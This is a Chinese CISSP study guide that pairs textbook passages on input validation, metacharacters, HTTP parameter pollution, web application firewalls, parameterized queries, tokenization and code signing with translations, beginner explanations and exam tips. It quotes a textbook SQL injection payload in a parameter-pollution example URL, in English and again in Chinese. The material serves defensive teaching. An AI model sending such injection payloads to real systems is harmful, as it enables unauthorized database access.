认证:认证是验证“你是不是你声称的那个人”。

纵深防御:纵深防御不是一道门,而是一层又一层控制。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

多层控制串联、避免单点失败,就是 defense in depth。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
纵深防御 纵深防御不是一道门,而是一层又一层控制。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 45 / PDF P1439

第 1439 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

When performing input validation for security purposes, it is very important to ensure that validation occurs server-side rather than within the client's browser. Client-side validation is useful for providing users with feedback on their input, but it should never be relied on as a security control. It's easy for malicious actors and penetration testers to bypass browser-based input validation. It is often difficult to perform input whitelisting because of the nature of many fields that allow user input. For example, imagine a classified ad application that allows users to input the description of a product that they wish to list for sale.

It would be difficult to write logical rules that describe all valid submissions to that field that would also prevent the insertion of malicious code. In this case, developers might use input blacklisting (also known as block listing) to control user input. With this approach, developers do not try to explicitly describe acceptable input but instead describe potentially malicious input that must be blocked. For example, developers might restrict the use of HTML tags or SQL commands in user input. When performing input validation, developers must be mindful of the types of legitimate input that may appear in a field.

For example, completely disallowing the use of a single quote (') may be useful in protecting against SQL injection attacks, but it may also make it difficult to enter last names that include apostrophes, such as O'Reilly.

中文直译 / 整理

在进行安全目的的输入验证时,确保验证在服务器端而非客户端浏览器 中执行至关重要。 客户端验证有助于向用户提供输入反馈,但绝不能将其作 为安全控制手段依赖,因为恶意攻击者和渗透测试人员很容易绕过基于浏览 器的输入验证。 由于许多允许用户输入的字段的特性,执行输入白名单通常很困难。 例如,想 象一个分类广告应用程序,允许用户输入他们希望出售的产品描述。 要编写逻 辑规则来描述该字段所有有效的输入,同时防止恶意代码的插入,是非常困难 的。 在这种情况下,开发人员可能会使用输入黑名单(也称为阻断列表)来控 制用户输入。 采用这种方法时,开发人员不会尝试明确描述可接受的输入,而 是描述必须阻止的潜在恶意输入。 例如,开发人员可能会限制用户输入中使用 HTML标签或SQL命令。 在执行输入验证时,开发人员必须留意字段中可能出 现的合法输入类型。 例如,完全禁止使用单引号(')可能有助于防范SQL注入攻 击,但也可能导致难以输入包含撇号的姓氏,例如O'Reilly。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

渗透测试:渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。

程序:程序是一步一步怎么做。

渗透测试:渗透测试在授权范围内模拟攻击验证风险。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1439 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

渗透测试通常比漏洞扫描更深入,但也更需要授权和范围控制。

Step-by-step、SOP 常对应 procedure。

渗透测试需要书面授权、范围和规则。

日志要保护完整性、时间同步和访问控制。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
渗透测试 渗透测试让可信团队模拟攻击,验证真实防护能不能扛住。
程序 程序是一步一步怎么做。
渗透测试 渗透测试在授权范围内模拟攻击验证风险。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 46 / PDF P1440

第 1440 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Metacharacters Metacharacters are characters that have been assigned special programmatic meaning. Thus, they have special powers that standard, normal characters do not have. There are many common metacharacters, but typical examples include single and double quotation marks; the open/close square brackets; the backslash; the semicolon; the ampersand; the caret; the dollar sign; the period, or dot; the vertical bar, or pipe symbol; the question mark; the asterisk; the plus sign; open/close curly braces; and open/close parentheses: ' " [ ] \ ; & ^ $ . | ? * + { } ( ).

Escaping a metacharacter is the process of marking the metacharacter as merely a normal or common character, such as a letter or number, thus removing its special programmatic powers. This is often done by adding a backslash in front of the character (\&), but there are many ways to escape metacharacters based on the programming language or execution environment.

中文直译 / 整理

元字符 元字符是被赋予特殊程序含义的字符。 因此,它们具有标准普通字符所不 具备的特殊功能。 常见的元字符有很多,但典型示例包括单引号和双引号; 方括号的开闭符号; 反斜杠; 分号; 与号; 插入符号; 美元符号; 句点或 点号; 竖线或管道符号; 问号; 星号; 加号; 花括号的开闭符号; 以及圆 括号的开闭符号:' " [ ] \ ; & ^ $ . | ? * + { } ( ). 转义 元字符是指将元字符标记为普通字符(如字母或数字),从而移除其 特殊的程序功能。 这通常通过在字符前添加反斜杠来实现(\&),但根据 编程语言或执行环境的不同,转义元字符的方法有很多。

小白解释

场景先行:你是公司的安全负责人,正在读第 1440 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1440 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
学习单元 47 / PDF P1441

第 1441 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Parameter Pollution Input validation techniques are the go-to standard for protecting against injection attacks. However, it's important to understand that attackers have historically discovered ways to bypass almost every form of security control. Parameter pollution is one technique that attackers have successfully used to defeat input validation controls. Parameter pollution works by sending a web application more than one value for the same input variable.

For example, a web application might have a variable named account that is specified in a URL like this: http://www.mycompany.com/status.php?account=12345 An attacker might try to exploit this application by injecting SQL code into the application: http://www.mycompany.com/status.php?account=12345'OR%201=1;-- However, this string looks quite suspicious to a web application firewall and would likely be blocked. An attacker seeking to obscure the attack and bypass content filtering mechanisms might instead send a command with two different values for account: http://www.mycompany.com/status.php?

account=12345&account=12345'OR%201=1;-- This approach relies on the premise that the web platform won't handle this URL properly. It might perform input validation on only the first argument but then execute the second argument, allowing the injection attack to slip through the filtering technology. Parameter pollution attacks depend on defects in web platforms that don't handle multiple copies of the same parameter properly. These vulnerabilities have been around for a while and most modern platforms are defended against them, but successful parameter pollution attacks still occur today due to unpatched systems or insecure custom code.

Web Application Firewalls Web application firewalls (WAFs) also play an important role in protecting web applications against attack. Developers should always build strong

中文直译 / 整理

参数污染 输入验证技术是防范注入攻击的首选标准。 然而,重要的是要理解,攻击 者历史上已发现绕过几乎所有安全控制的方法。 参数污染 是攻击者成功用 来击败输入验证控制的一种技术。 参数污染通过向Web应用程序发送同一输入变量的多个值来实现。 例如, Web应用程序可能有一个名为 account 的变量,其在URL中如下所示: http://www.mycompany.com/status.php?account=12345 攻击者可能尝试通过将SQL代码注入应用程序来利用此应用程序: http://www.mycompany.com/status.php?account=12345'OR%201=1;‑‑ 然而,此字符串对Web应用程序防火墙而言显得非常可疑,很可能会被阻 止。 为隐藏攻击并绕过内容过滤机制,攻击者可能会改为发送包含两个不 同 account 值的命令: http://www.mycompany.com/status.php? account=12345& account=12345'OR%201=1;‑‑ 这种方法依赖于网页平台无法正确处理此URL的前提。

它可能仅对第一 个参数执行输入验证,然后执行第二个参数,从而使注入攻击绕过过滤 技术。 参数污染攻击依赖于网页平台未能正确处理同一参数多个副本的缺陷。 这 些漏洞已存在一段时间,大多数现代平台已对此进行防护,但由于系统未 打补丁或存在不安全的自定义代码,如今仍会发生成功的参数污染攻击。 Web Application Firew alls Web应用防火墙(WAFs)在保护Web应用程序免受攻击方面也发挥着重要 作用。 开发人员应始终构建强大的

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1441 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 48 / PDF P1442

第 1442 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

application-level defenses, such as input validation, escaped input, and parameterized queries, to protect their applications, but the reality is that applications still sometimes contain injection flaws. This can occur when developer testing is insufficient or when vendors do not promptly supply patches to vulnerable applications. WAFs function similarly to network firewalls, but they work at the Application layer of the OSI model, as discussed in Chapter 11, “Secure Network Architecture and Components.” A WAF sits in front of a web server, as shown in Figure 21.8, and receives all network traffic headed to that server.

It then scrutinizes the input headed to the application, performing input validation (whitelisting and/or blacklisting) before passing the input to the web server. This prevents malicious traffic from ever reaching the web server and acts as an important component of a layered defense against web application vulnerabilities.

中文直译 / 整理

应用层防御措施,例如输入验证、转义输入和参数化查询,以保护其应用 程序,但现实是应用程序有时仍存在注入缺陷。 这可能发生在开发人员测 试不足,或供应商未能及时为存在漏洞的应用程序提供补丁的情况下。 WAF的功能类似于网络防火墙,但它们在OSI模型的应用层工作,如第11章 “安全网络架构与组件”中所述。 WAF位于Web服务器之前,如图21.8所示, 接收所有流向该服务器的网络流量。 然后,它仔细检查发往应用程序的输入, 在将输入传递给Web服务器之前执行输入验证(白名单和/或黑名单)。 这可以 防止恶意流量到达Web服务器,并成为抵御Web应用程序漏洞的分层防御中的 重要组成部分。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

分层:分层把控制按层排列,让攻击者必须连续突破。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1442 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

serial controls 更深,parallel controls 更宽;题目会考深度和广度。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
分层 分层把控制按层排列,让攻击者必须连续突破。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 49 / PDF P1443

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

FIGURE 21.8 Web application firewall Database Security Secure applications depend on secure databases to provide the content and transaction processing necessary to support business operations. Databases form the core of most modern applications, and securing databases goes beyond just protecting them against SQL injection attacks. Cybersecurity professionals should have a strong understanding of secure database administration practices.

中文直译 / 整理

图 21.8 Web 应用防火墙 数据库安全 安全的应用程序依赖于安全的数据库来提供支持业务运营所需的内容和事务 处理。 数据库构成大多数现代应用程序的核心,而数据库安全不仅限于防范 SQL注入攻击。 网络安全专业人员应具备扎实的安全数据库管理实践知识。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 50 / PDF P1444

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Parameterized Queries and Stored Procedures Parameterized queries offer another technique to protect applications against injection attacks. In a parameterized query, the developer prepares a SQL statement and then allows user input to be passed into that statement as carefully defined variables that do not allow the insertion of code. Different programming languages have different functions to perform this task. For example, Java uses the PreparedStatement() function, while PHP uses the bindParam() function. Stored procedures work in a similar manner, but the major difference is that the SQL code is not contained within the application but is stored on the database server.

The client does not directly send SQL code to the database server. Instead, the client sends arguments to the server, which then inserts those arguments into a precompiled query template. This approach protects against injection attacks and also improves database performance. Obfuscation and Camouflage Maintaining sensitive personal information in databases exposes an organization to risk in the event that information is stolen by an attacker. Database administrators should take the following measures to protect against data exposure: Data minimization is the best defense.

Organizations should not collect sensitive information that they don't need and should dispose of any sensitive information that they do collect as soon as it is no longer needed for a legitimate business purpose. Data minimization reduces risk because you can't lose control of information that you don't have in the first place. Tokenization replaces personal identifiers that might directly reveal an individual's identity with a unique identifier using a lookup table. For example, we might replace a widely known value, such as a student ID, with a randomly generated 10-digit number.

We'd then maintain a lookup table that allows us to convert those back to student IDs if we need to determine someone's identity. Of course, if you use this approach, you need to keep the lookup table secure. Hashing uses a cryptographic hash function to replace sensitive identifiers with an irreversible alternative identifier. Salting these values

中文直译 / 整理

参数化查询和存储过程 参数化查询提供了另一种保护应用程序免受注入攻击的技术。 在参数化查询中, 开发人员预先准备一条SQL语句,然后将用户输入作为精心定义的变量传入该 语句,这些变量不允许插入代码。 不同的编程语言有不同的函数来完成此任务。 例如,Java使用PreparedStatement()函数,而PHP使用bindParam()函数。 存储过程以类似的方式工作,但主要区别在于SQL代码不包含在应用程序中, 而是存储在数据库服务器上。 客户端不会直接向数据库服务器发送SQL代码, 而是向服务器发送参数,服务器随后将这些参数插入到预编译的查询模板中。 这种方法可以防止注入攻击,同时提高数据库性能。 混淆与伪装 在数据库中保存敏感个人信息会使组织在信息被攻击者窃取时面临风险。 数据库管理员应采取以下措施来保护免受数据泄露: 数据最小化 是最好的防御手段。 组织不应收集其不需要的敏感信息,并 应在该信息不再用于合法商业目的时立即处置任何已收集的敏感信息。 数 据最小化降低了风险,因为如果你根本就没有这些信息,就不可能失去对 它们的控制。 标记化 使用查找表将可能直接揭示个人身份的个人标识符替换为唯一标 识符。

例如,我们可以将众所周知的值(如学生ID)替换为随机生成的 10位数字。 然后,我们将维护一个查找表,以便在需要确定某人身份时 将这些标识符转换回学生ID。 当然,如果你采用这种方法,你需要确保 查找表的安全性。 哈希 使用加密哈希函数将敏感标识符替换为不可逆的替代标识符。 加盐这些 值

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

哈希本身不提供机密性;它主要用于完整性校验。

检测是 IDS,主动阻断更像 IPS。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
身份 身份是主体在系统中的标识。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
注入攻击 注入攻击把恶意输入当命令或查询执行。
学习单元 51 / PDF P1445

DAD、过度保护、真实性、不可否认性与 AAA

CIA 是目标,DAD 是失败表现,AAA 是访问控制和问责链。

教材原文段落

with a random number prior to hashing them makes these hashed values resistant to a type of attack known as a rainbow table attack. For more information on data obfuscation techniques, see Chapter 5, “Protecting Security of Assets.” Code Security Software developers should also take steps to safeguard the creation, storage, and delivery of their code. They do this through a variety of techniques. Code Signing Code signing provides developers with a way to confirm the authenticity of their code to end users.

Developers use a cryptographic function to digitally sign their code with their own private key, and then browsers can use the developer's public key to verify that signature and ensure that the code is legitimate and was not modified by unauthorized individuals. In cases where there is a lack of code signing, users may inadvertently run inauthentic code. Code signing works by relying on the digital signature process discussed in Chapter 5, “Protecting Security of Assets.” The developer signing the code does so using a private key, whereas the corresponding public key is included in a digital certificate that is distributed with the application.

Users who download the application receive a copy of the certificate bundled with it, and their system extracts the public key and uses it in the signature verification process. It is important to note that though code signing does guarantee that the code came from an authentic source and was not modified, it does not guarantee that the code does not contain malicious content. If the developer digitally signs malicious code, that code will pass the signature verification process. Code Reuse Many organizations reuse code not only internally but by making use of third-party software libraries and software development kits (SDKs).

Thirdparty software libraries are a very common way to share code among developers. Libraries consist of shared code objects that perform related functions. For example, a software library might contain a series of functions related to biology research, financial analysis, or social media. Instead of having to write

中文直译 / 整理

在哈希前使用随机数对这些值进行加盐,可使这些哈希值抵御一种称为彩虹表 攻击的攻击类型。 有关数据混淆技术的更多信息,请参见第5章,“保护资产安全。 ” 代码安全 软件开发人员还应采取措施保护其代码的创建、存储和分发。 他们通过多种技术实 现这一点。 代码签名 代码签名为开发人员提供了一种向最终用户确认其代码真实性的方法。 开发人 员使用加密函数使用自己的私钥对代码进行数字签名,然后浏览器可以使用开 发人员的公钥验证该签名,以确保代码是合法的且未被未经授权的人员修改。 在缺乏代码签名的情况下,用户可能会无意中运行不真实的代码。 代码签名依赖于第5章中讨论的数字签名过程第5章,“保护资产安全。 ”签署 代码的开发人员使用私钥进行签名,而相应的公钥则包含在随应用程序分发的 数字证书中。 下载应用程序的用户会收到随附的证书副本,其系统会提取其中 的公钥并用于签名验证过程。 需要注意的是,尽管代码签名可以保证代码来自可信源且未被修改,但它并不 能保证代码不包含恶意内容。 如果开发者对恶意代码进行数字签名,该代码仍 可通过签名验证过程。 代码复用 许多组织不仅在内部复用代码,还通过使用第三方软件库和软件开发工具包 (SDK)来复用代码。

第三方软件库是开发者之间共享代码的非常常见的方 式。 库是由执行相关功能的共享代码对象组成的。 例如,一个软件库可能包含一系 列与生物学研究、金融分析或社交媒体相关的函数。 无需编写

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:CIA 是目标,DAD 是失败表现,AAA 是访问控制和问责链。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

真实性:真实性确认数据、身份或来源是真的,不是假冒的。

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“DAD、过度保护、真实性、不可否认性与 AAA”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

证书、签名、强认证常支持真实性。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
真实性 真实性确认数据、身份或来源是真的,不是假冒的。
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
数字签名 数字签名用私钥签署摘要,让别人用公钥验证来源和完整性。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
学习单元 52 / PDF P1446

可用性:需要时能用,且性能可接受

可用性关注中断、故障、DoS、备份和冗余。

教材原文段落

the code to perform every detailed function they need, developers can simply locate libraries that contain relevant functions and then call those functions. Organizations trying to make libraries more accessible to developers often publish SDKs. SDKs are collections of software libraries combined with documentation, examples, and other resources designed to help programmers get up and running quickly in a development environment. SDKs also often include specialized utilities designed to help developers design and test code. Organizations may also introduce third-party code into their environments when they outsource code development to other organizations.

Security teams should ensure that outsourced code is subjected to the same level of testing as internally developed code. Security professionals should be familiar with the various ways that thirdparty code is used in their organizations as well as the ways that their organization makes services available to others. It's fairly common for security flaws to arise in shared code, making it extremely important to know these dependencies and remain vigilant about security updates. Software Diversity Security professionals seek to avoid single points of failure in their environments to avoid availability risks if an issue arises with a single component. This is also true for software development.

Security professionals should watch for places in the organization that are dependent on a single piece of source code, binary executable files, or compiler. Although it may not be possible to eliminate all of these dependencies, tracking them is a critical part of maintaining a secure codebase. Code Repositories Code repositories are centralized locations for the storage and management of application source code. The main purpose of a code repository is to store the source files used in software development in a centralized location that allows for secure storage and the coordination of changes among multiple developers.

Code repositories also perform version control, allowing the tracking of changes and the rollback of code to earlier versions when required. Basically, code repositories perform the housekeeping work of software development, making it possible for many people to share work on a large software project in an organized fashion. They also meet the needs of security and auditing

中文直译 / 整理

实现每个详细功能的代码,开发人员只需找到包含相关函数的库,然后调用这些函数即可。 为使库更易于开发者使用,组织通常会发布 SDK。 SDK 是软件库的集合,附带 文档、示例和其他资源,旨在帮助程序员在开发环境中快速上手。 SDK 还通常 包含专门的工具,以帮助开发者设计和测试代码。 当组织将代码开发外包给其他组织时,也可能将其环境引入第三方代码。 安 全团队应确保外包代码接受与内部开发代码同等水平的测试。 安全专业人员应熟悉第三方代码在其组织中的各种使用方式,以及其组织向他 人提供服务的方式。 共享代码中常会出现安全漏洞,因此了解这些依赖关系并 密切关注安全更新至关重要。 软件多样性 安全专业人员力求避免其环境中出现单点故障,以防单个组件出现问题时导致 可用性风险。 软件开发领域也是如此。 安全专业人员应关注组织中依赖单一源 代码、二进制可执行文件或编译器的地方。 尽管可能无法完全消除这些依赖关 系,但追踪它们是维护安全代码库的关键环节。 代码仓库 代码仓库是用于存储和管理应用程序源代码的集中位置。 代码仓库的主要目 的是将软件开发中使用的源文件集中存储,以便实现安全存储和多个开发人 员之间的变更协调。

代码仓库还执行版本控制,以便跟踪更改并在需要时将代码回滚到早期版本。 基本上,代码仓库承担了软件开发的维护工作,使许多人能够以有组织的方式 共享大型软件项目的开发工作。 它们还满足安全性和审计的需求

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:可用性关注中断、故障、DoS、备份和冗余。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

可用性:可用性保证授权用户需要时能及时使用系统和数据。

审计:审计记录主体行为,用于追责、复盘和取证。

程序:程序是一步一步怎么做。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“可用性:需要时能用,且性能可接受”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

